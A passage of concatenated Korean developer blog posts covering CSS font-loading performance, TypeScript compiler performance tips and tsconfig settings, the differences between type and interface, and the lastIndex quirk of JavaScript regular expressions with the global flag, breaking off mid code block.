이를 위한 방법 중 하나가 [font-display api](https://developer.mozilla.org/ko/docs/Web/CSS/@font-face/font-display)를 사용하는 것이다. `swap`을 사용하면, 브라우저가 폰트가 다운로드 되기 전에는 즉시 시스템 글꼴로 보여줘야 한다는 것을 알려줄 수 있다.

### variable font를 사용하여 파일 크기 줄이기

[Variable Font](https://variablefonts.io/)는 모든 너비, weight,style에 대해서 별도의 폰트 파일이 아니라 하나의 파일에 여러가지 다양한 폰트를 통합해줄 수 있도록 한다. CSS와 단일 `@font-face` 참조로 지정된 글꼴의 다양한 변형에 액세스 할 수 있다.

이는 글꼴의 여러 변형이 필요한 파일 크기를 획기적으로 줄일 수 있다. 일반, 볼드, 기울임꼴 폰트 버전을 각각 로딩 하는 대신 모든 정보가 포함된 하나의 단일 파일을 로딩할 수 있다.

[Monotype](https://www.monotype.com/resources/expertise/truetype-gx-variable-fonts) 에서는 12개의 폰트를 결합하여 이탤릭과 로만 모두에 3개의 다른 너비, 8개의 다른 weight를 생성하는 실험을 한 바 있다. 하나의 variable font에 48개의 개별글꼴을 모두 저장함으로써 파일의 크기가 88% 감소했다.

## CSS 선택자의 속도에 대해서 걱정할 필요는 없다.

CSS 셀렉터를 구조화하는 방법에 따라서 브라우저가 CSS를 매칭하는데 필요한 속도가 달라진다. 브라우저는 셀렉터를 오른쪽에서 왼쪽으로 읽기 때문에 자식에서 부모로 거쳐서 올라가게 된다.. 예를 들어, `nav a {}`가 있다면, 모든 `<a/>`를 찾고, 그 다음에 `nav` 하위에 있는 `<a/>`를 찾는다. 따라서 만약 선택자를 `<nav/>` 내부에 있는 `<a/>`에 대해서 `.nav-link`로 지정하 찾는다면, 전체 페이지에서 `<a/>`를 찾는 수고로움을 덜할 것이다. 따라서 `.container ul li a { }`와 같은 선택자는 따라서 비용이 많이 발생하게 된다.

선택자를 매칭 시키는 속도는 굉장히 빠르므로 굳이 걱정할 필요는 없다. CSS 선언은 압축 알고리즘에 매우 유연하게 동작하기 때문에, CSS 선택자를 최적화하는데 필요한 노력은 투자대비 더 큰 수익으로 다가올 것이다.

## 결론

CSS는 페이지 로딩과 유익한 사용자 경험을 주기 위한 필수적인 요소다. js나 image와 같은 요소에 최적화 하다보면, css에도 관심이 필요하다는 것을 잊을 수 있다. 위의 전략들을 활용하다보면, 사용자에게 더 빠르고 최적화된 웹사이트를 제공할 수 있을 것이다.

---

Source: https://yceffort.kr/2021/03/performance-tip-of-typescript.md
Title: 타입스크립트 성능을 위한 팁
Description: 아무튼 스터디 중임
Date: 2021-03-22
Tags: typescript, web-performance

타입스크립트 공식 레포에 있는 위키에는, 타입스크립트 성능을 위한 몇 가지 팁을 기재해 놓은 위키가 있다.

https://github.com/microsoft/TypeScript/wiki/Performance

그 위키에 대한 내용을 한글로 번역해보면서 간단히 요약도 하고, 또 이해가 안되는 부분은 조금씩 설명을 달아두려고 한다. 물론, 원문을 보는 것이 제일 좋다.

## Table of Contents

## 컴파일하기 쉬운 코드를 작성하기

### 타입간 결합이 필요하다면 `type`대신 `interface` 사용하기

객체에 사용하는 `type`과 `interface`는 매우 유사하게 사용되고 있다.

```typescript
interface Foo {
  prop: string
}

type Bar = {prop: string}
```

그러나 타입간 결합이 필요할 때는, `interface`를 확장하는 것이 성능상으로 유리하다. `interface`는 단순히 객체에 대한 모양을 표현하는 것이기 때문에, 여러개가 올 경우 단순히 합쳐버리면 된다. 그러나 `type`은 객체 뿐 만 아니라 단순히 원시타입도 올 수 있기 때문에 재귀적으로 속성을 머지해야 하고, 때때로 `never`가 나오곤 한다. (아래 참고)

```typescript
type type2 = {a: 1} & {b: 2} // 잘 머지됨
type type3 = {a: 1; b: 2} & {b: 3} // resolved to `never`

const t2: type2 = {a: 1, b: 2} // good
const t3: type3 = {a: 1, b: 3} // Type 'number' is not assignable to type 'never'.(2322)
const t3: type3 = {a: 1, b: 2} // Type 'number' is not assignable to type 'never'.(2322)
```

> 인터페이스를 쓴다면 이럴일이 없다.

따라서 여러개의 객체 타입을 합성해야 한다면, `interface`의 `extends`를 사용하는 것이 좋다.

### 타입 어노테이션 사용하기

타입 어노테이션, 특시 리턴 타입을 지정하는 것은 컴파일러에 많은 도움을 준다. 당연하게도, 직접 리턴타입을 지정해준다면 타입스크립트 컴파일러가 함수의 타입을 추론하는 것 보다 훨씬더 성능적으로 이점을 얻을 수 있고, 이는 declaration 파일을 읽고 쓰는데 많은 시간을 절약해준다. (incremental builds) 물론 타입 추론은 매우 편리한 기능이기 때문에, 다 이걸 처리할 필요는 없지만, 코드에서 약간의 병목현상이 생긴다면 고려해볼만 하다.

```typescript
import {bar, barType} from 'bar'
function foo() {
  return bar
}
```

이거보단, 아래 코드가 낫다.

```typescript
import {bar, barType} from 'bar'
function foo(): barType {
  return bar
}
```

### Union 보다는 Base type을 만들어두자

타입 union은 훌륭한 기능이다. 이는 값에 대한 다양한 타입의 가능성을 열어준다.

```typescript
interface WeekdaySchedule {
  day: 'Monday' | 'Tuesday' | 'Wednesday' | 'Thursday' | 'Friday'
  wake: Time
  startWork: Time
  endWork: Time
  sleep: Time
}

interface WeekendSchedule {
  day: 'Saturday' | 'Sunday'
  wake: Time
  familyMeal: Time
  sleep: Time
}

declare function printSchedule(schedule: WeekdaySchedule | WeekendSchedule)
```

그러나 이러한 타입 유니온은 비용이 발생한다. `printSchedule`에 인수가 넘어갈 때마다, 각 인수들을 union에 있는 타입들과 대조하기 시작한다. 물론 단순히 타입이 두개 뿐이라면 (성능적인 차이는) 무시할만하다. 그러나 이 숫자가 많아진다면, 컴파일 속도에 문제가 될 수 있다. 예를 들어, union에서 중복을 제거하기 위해 각각의 요소를 쌍으로 비교해야 하며, 이는 2차적으로 드는 비용이다. 이러한 종류의 검사는 union이 커질 수록 더욱 많이 발생할 수 있으며, 이 규모를 줄여야 한다. 이를 위해 union 보다는 하위 유형을 사용하는 것이 좋다.

```typescript
interface Schedule {
  day:
    | 'Monday'
    | 'Tuesday'
    | 'Wednesday'
    | 'Thursday'
    | 'Friday'
    | 'Saturday'
    | 'Sunday'
  wake: Time
  sleep: Time
}

interface WeekdaySchedule extends Schedule {
  day: 'Monday' | 'Tuesday' | 'Wednesday' | 'Thursday' | 'Friday'
  startWork: Time
  endWork: Time
}

interface WeekendSchedule extends Schedule {
  day: 'Saturday' | 'Sunday'
  familyMeal: Time
}

declare function printSchedule(schedule: Schedule)
```

더욱 현실적인 예 중하나라노는 built-in DOM 엘리먼트의 타입을 만드는 경우다. 이 경우에는 `HtmlElement`를 기본 엘리먼트로 두고 `DivElement` `ImgElement` 등을 만드는 것이, `DivElement | ImageElement ...` 보다 좋다.

## 프로젝트 레퍼런스 사용하기

타입스크립트를 사용하여 커대한 크기의 코드를 작성할 때, 코드베이스를 여러개의 독립적인 프로젝트로 구성하는 것이 도움이 된다. 이렇게 할 경우, 각 프로젝트에는 다른 프로젝트에 종속된 자체 `tsconfig.json`이 있을 수 있다. 이렇게 하면, 단일 컴파일에 너무 많은 파일이 로드 되지 않도록 도움을 줄 수 있으며, 코드 베이스 배치 전략을 쉽게 구성할 수 있다.

[코드베이스를 여러개의 프로젝트 단위로 나누는 기초적인 방법이 있다.](https://www.typescriptlang.org/docs/handbook/project-references.html) 예를 들어, 프로젝트에 클라이언트와 서버가 동시에 있고, 이 사이에 공유하는 모듈이 있다고 가정해두자.

```bash
              ------------
              |          |
              |  Shared  |
              ^----------^
             /            \
            /              \
------------                ------------
|          |                |          |
|  Client  |                |  Server  |
-----^------                ------^-----
```

테스트는 아래와 같이 분리될 수 있다.

```bash
              ------------
              |          |
              |  Shared  |
              ^-----^----^
             /      |     \
            /       |      \
------------  ------------  ------------
|          |  |  Shared  |  |          |
|  Client  |  |  Tests   |  |  Server  |
-----^------  ------------  ------^-----
     |                            |
     |                            |
------------                ------------
|  Client  |                |  Server  |
|  Tests   |                |  Tests   |
------------                ------------
```

한 가지 자주 묻는 질문 중에 하나는, '도대체 얼마나 프로젝트가 커야 하는가' 에 대한 것이다. 이는 마치 '함수/클래스는 어디까지 커져도 되나요' 와 같은 질문과 비슷한데, 결국은 경험에 의지할 수 밖에 없다. 한가지 익숙한 방식은 `js`와 `ts`를 폴더 단위로 나누는 것이다. 또한 같은 폴더에 있기에 충분히 비슷한 내용의 코드라면, 프로젝트도 같은 단위에 있는 것이 좋다. 그리고 너무 크거나 작은 프로젝트는 지양하는 것이 좋다. 만약 한가지 프로젝트가 다른 것들을 합친것보다 더 크다면, 일종의 경고 싸인으로 보는 것이 좋다. 비슷하게, 오버헤드 증가를 막기 위해서 단일 파일을 내지한 수십개의 프로젝트는 지양하는 것이 좋다.

참고: https://www.typescriptlang.org/docs/handbook/project-references.html

## `tsconfig.json`이나 `jsconfig.json` 설정하기

타입스크립트 유저는 `tsconfig.json`로 컴파일 환경을 설정할 수 있다. [`jsconfig.json`은 마찬가지로 자바스크립트 유저의 개발 환경을 설정하는데 도움을 줄 수 있다.](https://code.visualstudio.com/docs/languages/jsconfig)

### 파일 명시하기

항상 설정파일이 한번에 너무 많은 파일을 포함하지 않도록 조심해야 한다.

`tsconfig.json`을 사용한다면, 프로젝트의 파일을 특정하는 방법이 두가지가 있다.

- `files`
- `include` `exclude`

두 개의 차이라면, `files`는 소스 파일의 path를 명시해야 하고, `include` `exclude`는 파일의 globbing pattern을 사용한다는 것이다.

`files`을 지정한다면, 파일을 직접 빠르게 로드할 수 있다는 장점이 있지만, 최상위 진입점이 별도로 존재하지 않고 프로젝트에 많은 파일이 있는 경우 조금 번거로워 질 수 있다. 또한 `tsconfig.json`에 새파일을 추가하는 것을 까먹는 일도 종종 발생할 수 있으므로, 조금 번거로울 수 있다.

`include`/`exclude`는 위 처럼 파일을 특정해야 하는 번거로움을 없앨 수 있지만, 역시 이에 따른 비용이 발생한다. 파일을 찾기 위해서 디렉토리를 계속해서 순회해야 한다는 것이다. 만약 폴더가 엄청 많을 경우, 컴파일 속도가 느려질 수 있다. 이에 덧붙여, 때때로 컴파일 과정에서 불필요한 `.d.ts`와 테스트 파일이 추가되버리는 경우, 컴파일 속도와 메모리 오버헤드가 발생할 수 있다. 마지막으로, `exclude`에는 `node_modules`와 같은 몇가지 이유 있는 기본값들이 존재하고는 있지만, 잘 관리하지 못할 경우 아주 무거운 폴더가 포함될 위험성 또한 존재한다.

최상의 개발 경험을 위해서, 아래와 같이 설정할 것을 추천한다.

- 프로젝트의 input 폴더 만을 명시해 둘 것
- 다른 프로젝트의 소스파일을 같은 폴더에 짬뽕해서 보관해두지 말것
- 테스트를 다른 원본 파일과 같은 폴더에 두는 경우, 쉽게 제외 시킬 수 있도록 고유한 이름을 지정할 것 (`*.test.ts`와 같이)
- 소스 디렉토리에서 `node_modules`와 같은 대규모 빌드 아티팩트와 dependency 폴더를 피할 것

> `exclude`가 비어있다고 하더라도, `node_modules`는 기본값으로 제외된다

```json
{
  "compilerOptions": {
    // ...
  },
  "include": ["src"],
  "exclude": ["**/node_modules", "**/.*/"]
}
```

### `@types`

기본값으로, 타입스크립트는 개발자가 import 했던 안했던 간에 `node_modules`에 있는 `@types` 패키지를 자동으로 포함시킨다. 이 말인 즉슨, `node.js` `jasmine` `mocha` 와 같이 import 하지 않은 패키지라 할지라도, 단순히 글로벌 환경에서 로드 되어 사용될 수 있다는 것을 의미한다.

이는 때때로 컴파일과 코드 에디팅 하는 시간을 지연시킬 수 있으며, 심지어 이것들의 선언이 서로 충돌이 나서 다음과 같은 문제가 날 수도 있다.

```bash
Duplicate identifier 'IteratorResult'.
Duplicate identifier 'it'.
Duplicate identifier 'define'.
Duplicate identifier 'require'.
```

따라서, 글로벌 패키지가 필요하지 않은 상황이라면, `type` 옵션을 비워 둠으로써 이러한 문제를 해결할 수 있다.

```json
// src/tsconfig.json
{
  "compilerOptions": {
    // ...

    // Don't automatically include anything.
    // Only include `@types` packages that we need to import.
    "types": []
  },
  "files": ["foo.ts"]
}
```

만약 몇가지 패키지가 글로벌로 필요하다면, 아래와 같이 추가할 수 있다.

```json
// tests/tsconfig.json
{
  "compilerOptions": {
    // ...

    // Only include `@types/node` and `@types/mocha`.
    "types": ["node", "mocha"]
  },
  "files": ["foo.test.ts"]
}
```

### 점진적 프로젝트 빌드 옵션 사용하기

`--incremental` 옵션은 타입스크립트가 마지막 컴파일 정보를 `.tsbuildinfo`에 저장해두도록 한다. 이 파일은 `--watch` 가 작동하는 방식과 비슷하게, 마지막 컴파일 이후 다시 체크 혹은 내보내야 하는 (emit) 가장 작은 파일 집합을 파악하는데 사용된다.

이러한 점진적 컴파일은, 프로젝트 설정에 `composite`를 설정해둘 때 기본으로 사용하는데, 이를 사용해서 선택한 프로젝트에 대한 동일한 속도 향상을 가져 올 수 있다.

### `.d.ts` 체크 생략

기본값으로, 타입스크립트는 프로젝트 내에 있는 `.d.ts` 파일을 모두 체크하여 일관성을 유지하고 이슈를 찾는다. 그러나, 이는 일반적으로 불필요한 작업이다. ~~대부분의 경우, `.d.ts`는 잘 작동하는 파일일 가능성이 크다. 타입스크립트는 `.d.ts`의 체크를 끄는 `skipDefaultLibCheck` 옵션을 제공한다.~~ (이는 deprecated되었다. 그냥 `skipLibCheck`을 쓰면 된다.)

이 옵션은 빌드를 빠르게하는 목적으로만 사용하는 것이 좋다.

### 빠른 분산 검사

dog list는 animal list 일까? 다시말해, `List<Dog>`은 `List<Animals>`에 할당 가능한가? 이를 확인할 수 있는 가장 정확한 방법은, 각 타입의 구조를 멤버 대 멤버로 하나씩 검사하는 것이다. 그러나 이는 매우 느릴 수 있다. 그러나 만약 우리가 `List<T>`에 대해서만 할 수 있다면, `Dog`이 `Animal`에 할당 가능한지만 확인하면 될 것이다. (`List<T>`의 각 멤버를 일일이 검사할 필요 없이) 컴파일러가 `strictFunctionTypes` 플래그를 활성화 시켜 잠재적으로 성능을 향상시킬 수 있다.

#### 🤔 뭔개소리야,,,

```typescript
interface Animal {}
interface Dog extends Animal {}
interface JayG extends Dog {}
```

타입 시스템에는, 타입 가변성이라는 개념이 존재한다. (Type Variance) 이는 타입과 서브타입의 관계를 서술한 것을 의미한다. 여기에는 네가지가 존재한다.

- Covariance: `A`가 `B`의 서브타입일 경우, `T<A>` 도 `T<B>`의 서브타입인 경우

  ```typescript
  function hello(d: Dog) {}
  hello(animal) //error
  hello(dog) // ok
  hello(jayg) //ok
  ```

- Contravariance: `A`가 `B`의 서브타입일 경우, `T<B>`가 `T<A>`의 서브타입인 경우

  ```typescript
  function hello(d: Dog) {}
  hello(animal) //ok
  hello(dog) // ok
  hello(jayg) // error
  ```

- Invariance: 다른 타입을 허용하지 않음
- Bivariance: 아무 타입이나 다 허용

위 설명에서, 타입스크립트는 기본적으로 Covariance 하다는 것을 의미한다.

```typescript
interface Animal {
  name: string
}
interface Dog extends Animal {
  kind: string
}
interface JayG extends Dog {
  age: number
}

const a: Animal = {name: 'hi'}
const d: Dog = {name: 'hi', kind: 'mix'}
const j: JayG = {name: 'hi', kind: 'mix', age: 34}

const animals: Animal[] = new Array(5)
const dogs: Dog[] = new Array(5)
const jaygs: JayG[] = new Array(5)

animals[0] = a // ok
animals[1] = d // ok
animals[2] = j // ok

dogs[0] = a // error  Property 'kind' is missing in type 'Animal' but required in type 'Dog'.
```

그러나 메서드 인수에서는 Contravariance 하다.

```typescript
let helloAnimal: (x: Animal) => void = () => console.log('animal')
let helloDog: (x: Dog) => void = () => console.log('dog')
let helloJayG: (x: JayG) => void = () => console.log('jayg')

helloAnimal = helloDog // Error with --strictFunctionTypes Type '(x: Dog) => void' is not assignable to type '(x: Animal) => void'.
helloDog = helloAnimal // ok
helloDog = helloJayG // Error with --strictFunctionTypes Type '(x: JayG) => void' is not assignable to type '(x: Dog) => void'.
helloJayG = helloDog // ok
```

메소드 인수는 이처럼, `Contravariance`한 특징으르 가지고 있는데, 기존에는 메소드 인수가 `Bivariance`, 즉 아무타입이나 다 허용 했다. 그러나 이 옵션 `strictFunctionTypes`이 등장하면서 이러한 문제를 막아주기 시작했다.

다시말해, `strictFunctionTypes` 옵션을 통해서 변수의 가변성을 엄격하게 체크할 수 있으므로, 이것을 통해서 다양한 경우의 수를 고려하지 않아도 되기 때문에 빌드가 빨라질 수 있다는 것을 의미한다.

## 다른 빌드 툴 설정하기

타입스크립트 컴파일러는 종종 다른 빌드 툴과 함께 실행되는데, 이는 특히 웹 애플리케이션 제작시에 번들러가 포함되는 상황이 종종 발생한다. 여기에서는 모든 빌드 툴을 다 다루지는 않지만, 기본적인 접근방식은 비슷하다고 보면 된다. 본격적으로 아래 섹션을 읽기 전에, 다음과 같은 아티클을 보는 것도 좋다.

- https://github.com/TypeStrong/ts-loader#faster-builds
- https://github.com/s-panferov/awesome-typescript-loader/blob/master/README.md#performance-issues

### 동시성 타입 체크

타입 체크는 일반적으로 다른 파일에 있는 정보를 필요로 하는데, 이 때문에 코드변환, 생성 등의 과정에서 상대적으로 더 많은 비용이 발생할 수 있다. 타입 체크는 더욱이 시간이 더 걸릴 수 있기 때문에, 이는 내부 개발 루프에 영향을 미칠 수 있다. 즉 다시 말해, 코드 편집, 컴파일, 실행 주기가 길어져 번거로울 수 있다.

이러한 이유로, 일부 빌드 툴은 타입체크를 다른 프로세스와 분리 시켜서 수행할 수 있다. 이는 타입스크립트가 빌드 툴 내부의 에러를 보고하기전에, 잘못된 코드가 실행될 수도 있다는 것을 의미하지만, 편집기에서 오류가 먼저 나타나는 경우가 더많고 작업코드를 실행하는 동안 차단하지 않는다.

- https://github.com/TypeStrong/fork-ts-checker-webpack-plugin
- https://github.com/s-panferov/awesome-typescript-loader

## 이슈 분석하기

뭔가 잘못되고 있다는 걸 느낄때, 아래의 방법을 통해서 힌트를 얻을 수 있다.

### 에디터 플러그인 비활성화

에디터는 설치된 플러그인에 따라 영향을 받을 수 있다. 플러그인, 특히 자바스크립트와 타입스크립트와 연관된 플러그인을 비활성화 해서 성능과 반응성에 영향이 있는지 확인해볼 필요가 있다.

### `extendDiagnostics`

`--extendedDiagnostics`를 활성화 하면, 아래와 같은 정보를 컴파일러로 부터 얻을 수 있다.

```bash
Files:                         6
Lines:                     24906
Nodes:                    112200
Identifiers:               41097
Symbols:                   27972
Types:                      8298
Memory used:              77984K
Assignability cache size:  33123
Identity cache size:           2
Subtype cache size:            0
I/O Read time:             0.01s
Parse time:                0.44s
Program time:              0.45s
Bind time:                 0.21s
Check time:                1.07s
transformTime time:        0.01s
commentTime time:          0.00s
I/O Write time:            0.00s
printTime time:            0.01s
Emit time:                 0.01s
Total time:                1.75s
```

> `Total Time`은 위 정보를 모두 합한 시간이 아니다. (일부 누락된 시간 등이 존재)

- `files`: 프로그램에 포함된 파일
- `I/O Read Time`: 파일 시스템에 접근하면서 읽는데 소요된 시간 `include`를 순회하면서 걸리는 시간 포함
- `Parse time`: 프로그램을 스캔하고 파싱하는데 걸리는 시간
- `Bind time`: 단일 파일에 다양한 정보를 구축하는데 소요된 시간
- `Check time`: 타입 체크에 소요된 시간
- `transformTime time`: 타입스크립트 AST를 구식 런타임형태로 재작성하는데 걸리는 시간
- `commentTime` 결과 파일에 코멘트를 계산하는데 소요된 시간
- `I/O Write time`: 디스크에 파일을 쓰고 업데이트 하는데 소요된 시간
- `printTime time`: 출력 파일내 문자열 을 계산하여 디스크로 내보내는데 걸리는 시간

- `printTime`가 너무 높다면, `emitDeclarationOnly` 옵션을 고려해보자
- `Program Time` `I/O Read time`이 높다면, `include`/`exclude`가 적절하게 설정되어 있는지 확인해보자.

### `showConfig`

`tsc` 실행시에는 컴파일이 어떤 설정을 가지고 실행되는지 알 수 없으며, 특히 `tsconfig.json`이 다른 설정파일로 확장될 수 있다는 점을 고려할 때 더욱 헷갈릴 수 있다. 아래 옵션을 통해 실제로 어떤 설정을 가지고 컴파일 되는지 확인하라 필요가 있다.

```bash
tsc --showConfig

# or to select a specific config file...

tsc --showConfig -p tsconfig.json
```

### `traceResolution`

`traceResolution`는 특정 파일이 왜 컴파일에 포함되어 있는지 추적해준다.

```bash
tsc --traceResolution > resolution.txt
```

만약 특정 존재하지 않아야 하는 파일이 보인다면, `include` `exclude` 옵션을 살펴보거나, `types` `typeRoots` `path` 등을 확인할 필요가 있다.

### `tsc` 만 단독으로 실행해보기

대부분의 시간을, 써드 파티 툴인 Gulp, Rollup, Webpack 등과 함께 실행하기 때문에 성능이 느려보일 수 있다. `tsc --extendedDiagnostics` 를 사용하여 타입스크립트와 툴간의 주요 불일치를 찾아 낸다면, 잘못된 설정 또는 비효율적인 부분을 짚어낼 수 있다.

이를 통해 염두해야 할 점은

- `tsc` 단독 실행과 타입스크립트와 연동한 다양한 빌드 툴 사이에 빌드 시간 차이가 현격하게 나는지
- 빌드 툴이 진단을 제공하는 경우, 타입스크립트의 결과와 차이가 있는지
- 빌드 툴에 원인이 될 수 있는 자체 옵션이 있는지
- 빌드 툴에 원인이 될 수 있는 타입스크립트 구성이 있는지 (`ts-loader` 와 같이)

등이 있다.

### Dependencies 업그레이드

typescript 의 버전과 `@types`의 패키지 버전을 업그레이드 해보자.

### 성능 추적

위의 옵션으로도 왜 타입스크립트가 느려졌는지 이해하기 어려울 때, 타입스크립트 4.1 버전 이상에서 제공하는 `--generateTrace`를 사용하여 컴파일러가 시간을 소비하는 작업을 파악해보자. 이 옵션은 엣지 또는 크롬에서 분석할 수 있는 출력 파일을 제공한다.

```bash
tsc -p ./some/project/src/tsconfig.json --generateTrace tracing_output_folder
```

1. `about://tracing`
2. `load` 클릭
3. 아웃풋 폴더 내의 `trace.*.json` 열기

자세한 내용은 [여기](https://github.com/microsoft/TypeScript/wiki/Performance-Tracing)에서 확인할 수 있다.

## (개인적인) 결론

곧 엄청나게 큰 프로젝트에 타입스크립트를 도입을 앞두고 있어서, 잃어버린 타입스크립트에 대한 기억을 되찾고자 다시한번 공부해보았다. 설정 파일을 만드는 것은 잠깐이지만, 그것을 기반으로 성을 쌓는건 엄청나게 긴 시간이 든다. 기반을 잘못 다지게 되면 성을 아무리 쌓는들 무슨 소용이 있으랴. 🤪 부디 모두가 행복하게 타입스크립트를 well-form으로 적용할 수 있도록 기반을 다지고, 중간 중간 성능 이슈도 점검하면서 잘 만들어 갔으면 조헧다.

---

Source: https://yceffort.kr/2021/03/typescript-interface-vs-type.md
Title: 타입스크립트 type과 interface의 공통점과 차이점
Description: typescript is coming again........
Date: 2021-03-21
Tags: typescript

타입스크립트의 type과 interface의 차이점을 찾아보던 중, 몇 가지 잘못된 사실들을 보면서 진짜로 둘의 차이점이 무엇인지 정리하기 위해서 포스팅한다. (물론 이것도 시간이 지나면 (2021년 3월 기준) 잘못된 사실이 될 수도 있다... 🤪)

## 예제

```typescript
interface PeopleInterface {
  name: string
  age: number
}

const me1: PeopleInterface = {
  name: 'yc',
  age: 34,
}

type PeopleType = {
  name: string
  age: number
}

const me2: PeopleType = {
  name: 'yc',
  age: 31,
}
```

위에서 볼 수 있는 것 처럼, `interface`는 타입과 마찬가지로 객체의 타입의 이름을 지정하는 또 다른 방법이다.

## 차이점

### 확장하는 방법

```typescript
interface PeopleInterface {
  name: string
  age: number
}

interface StudentInterface extends PeopleInterface {
  school: string
}
```

```typescript
type PeopleType = {
  name: string
  age: number
}

type StudentType = PeopleType & {
  school: string
}
```

### 선언적 확장

`interface`에서 할 수 있는 대부분의 기능들은 `type`에서 가능하지만, 한 가지 중요한 차이점은 `type`은 새로운 속성을 추가하기 위해서 다시 같은 이름으로 선언할 수 없지만, `interface`는 항상 선언적 확장이 가능하다는 것이다. 그 차이에 대한 예제가 바로 밑에 있는 것이다.

```typescript
interface Window {
  title: string
}

interface Window {
  ts: TypeScriptAPI
}

// 같은 interface 명으로 Window를 다시 만든다면, 자동으로 확장이 된다.

const src = 'const a = "Hello World"'
window.ts.transpileModule(src, {})
```

```typescript
type Window = {
  title: string
}

type Window = {
  ts: TypeScriptAPI
}

// Error: Duplicate identifier 'Window'.
// 타입은 안된다.
```

### ~~type은 이름이 없다?~~

https://www.typescriptlang.org/docs/handbook/2/everyday-types.html#interfaces 에 다음과 같은 내용이 나와있다.

> Type alias names may appear in error messages, sometimes in place of the equivalent anonymous type (which may or may not be desirable). Interfaces will always be named in error messages.

`type`은 무명의 타입으로 선언되어서 에러메시지에서 뜨지 않을 때가 있고, `interface`는 에러에 항상 이름이 나와 있다고 하지만 이는 더 이상 사실이 아니다. (하단 참조)

### interface는 객체에만 사용이 가능하다.

당연한거 아님? 🤔

```typescript
interface FooInterface {
  value: string
}

type FooType = {
  value: string
}

type FooOnlyString = string
type FooTypeNumber = number

// 불가능
interface X extends string {}
```

### computed value의 사용

`type`은 가능하지만 `interface`는 불가능

```typescript
type names = 'firstName' | 'lastName'

type NameTypes = {
  [key in names]: string
}

const yc: NameTypes = {firstName: 'hi', lastName: 'yc'}

interface NameInterface {
  // error
  [key in names]: string
}
```

### 성능을 위해서는 interface를 사용하는 것이 좋다.

라는 취지의 문서를 본적이 있는데, 이것에 대해서 조금 이야기 해볼까 한다.

https://github.com/microsoft/TypeScript/wiki/Performance#preferring-interfaces-over-intersections

> Interfaces create a single flat object type that detects property conflicts, which are usually important to resolve! Intersections on the other hand just recursively merge properties, and in some cases produce never.

여러 `type` 혹은 `interface`를 `&`하거나 `extends`할 때를 생각해보자. `interface`는 속성간 충돌을 해결하기 위해 단순한 객체 타입을 만든다. 왜냐하면 interface는 객체의 타입을 만들기 위한 것이고, 어차피 객체 만 오기 때문에 단순히 합치기만 하면 되기 때문이다. 그러나 타입의 경우, 재귀적으로 순회하면서 속성을 머지하는데, 이 경우에 일부 `never`가 나오면서 제대로 머지가 안될 수 있다. `interface`와는 다르게, `type`은 원시 타입이 올수도 있으므로, 충돌이 나서 제대로 머지가 안되는 경우에는 `never`가 떨어진다. 아래 예제를 살펴보자.

```typescript
type type2 = {a: 1} & {b: 2} // 잘 머지됨
type type3 = {a: 1; b: 2} & {b: 3} // resolved to `never`

const t2: type2 = {a: 1, b: 2} // good
const t3: type3 = {a: 1, b: 3} // Type 'number' is not assignable to type 'never'.(2322)
const t3: type3 = {a: 1, b: 2} // Type 'number' is not assignable to type 'never'.(2322)
```

따라서 타입 간 속성을 머지 할 때는 주의를 필요로 한다. 어차피 객체에서만 쓰는 용도라면, `interface`를 쓰는 것이 훨씬 낫다.

> Interfaces also display consistently better, whereas type aliases to intersections can't be displayed in part of other intersections.

그러나 위의 명제는 이제 더 이상 사실이 아니다. 이제 type의 경우에도 어디에서 에러가 났는지 잘 알려준다. (어째 문서 업데이트가 못따라가는 느낌이다)

```typescript
type t1 = {
  a: number
}

type t2 = t1 & {
  b: string
}

const typeSample: t2 = {a: 1, b: 2} // error
// before(3.x): Type 'number' is not assignable to type 'string'.
// after(4.x): Type 'number' is not assignable to type 'string'.(2322) input.tsx(14, 5): The expected type comes from property 'b' which is declared here on type 't2'
```

> Type relationships between interfaces are also cached, as opposed to intersection types as a whole.

`interface` 들을 합성할 경우 이는 캐시가 되지만, 타입의 경우에는 그렇지 못하다.

> A final noteworthy difference is that when checking against a target intersection type, every constituent is checked before checking against the "effective"/"flattened" type.

타입 합성의 경우, 합성에 자체에 대한 유효성을 판단하기 전에, 모든 구성요소에 대한 타입을 체크하므로 컴파일 시에 상대적으로 성능이 좋지 않다.

## 결론?

무엇이 되었건 간에, 프로젝트 전반에서 `type`을 쓸지 `interface`를 쓸지 통일은 필요해보인다. 그러나 객체, 그리고 타입간의 합성등을 고려해 보았을 때 `interface`를 쓰는 것이 더 나을지 않을까 싶다.

---

Source: https://yceffort.kr/2021/03/javascript-regex-global-flag-and-test.md
Title: 알쏭 달쏭한 자바스크립트 정규식
Description: 정규식을 자유자재로 써야 간지인데
Date: 2021-03-21
Tags: javascript

자바스크립트 정규식으로 숫자를 찾는 방법은 보통 아래와 같다.

```javascript
const str = 'hello world, 123'
const digitRegex = /\d+/g

digitRegex.test(str) //true
```

그런데 코딩을 하던 중 한가지 이상한 일이 발생했는데, 대략 아래와 같은 모습이었다.

```javascript
const digitRegex = /\d+/g

const result1 = digitRegex.test('hello 123')
const result2 = digitRegex.test('123')
const result3 = digitRegex.test('123')

console.log(result1) // true
console.log(result2) // false ???????????
console.log(result3) // true
```

> 정규 표현식에 전역 플래그를 설정한 경우, test() 메서드는 정규 표현식의 lastIndex (en-US)를 업데이트합니다. (RegExp.prototype.exec()도 lastIndex 속성을 업데이트합니다.)
>
> test(str)을 또 호출하면 str 검색을 lastIndex부터 계속 진행합니다. lastIndex 속성은 매 번 test()가 true를 반환할 때마다 증가하게 됩니다.
>
> 참고: test()가 true를 반환하기만 하면 lastIndex는 초기화되지 않습니다. 심지어 이전과 다른 문자열을 매개변수로 제공해도 그렇습니다!

https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test

조금더 자세히 살펴보자면, 대략 다음과 같다는 뜻이다.

```javascript
const digitRegex = /\d+/g

console.log(digitRegex.lastIndex) // 0
const result1 = digitRegex.test('hello 123')

// test로 digitRegex의 index (9) 를 찾았으므로 업데이트 함
console.log(digitRegex.lastIndex) // 9
// 9 부터 다시 찾음. 그런데 못찾았으므로 초기화가 진행됨.
const result2 = digitRegex.test('123')

console.log(digitRegex.lastIndex) // 0
// 0 부터 다시 찾아서 숫자를 찾음.
const result3 = digitRegex.test('123')
```

정확히 왜 이렇게 구현했는지에 대해서는 찾을 수 없었다. 추측건데 정규식에 전역플래그가 있다는 것은 검색하려는 대상 str도 전역으로 쓰이는 용도일 것이고, 그 때문에 검색하는 str이 아예 다른 것이 온다는 가정을 하지 않았기 때문이 아닐까? (뭐래는거야?)

어쨌든 간에, 이를 올바르게 동작하게 만들기 위해서는 `search`를 쓰면 된다. 주의할 점은 `.search`는 string에 있는 메소드라는 것.

```javascript
const digitRegex = /\d+/g

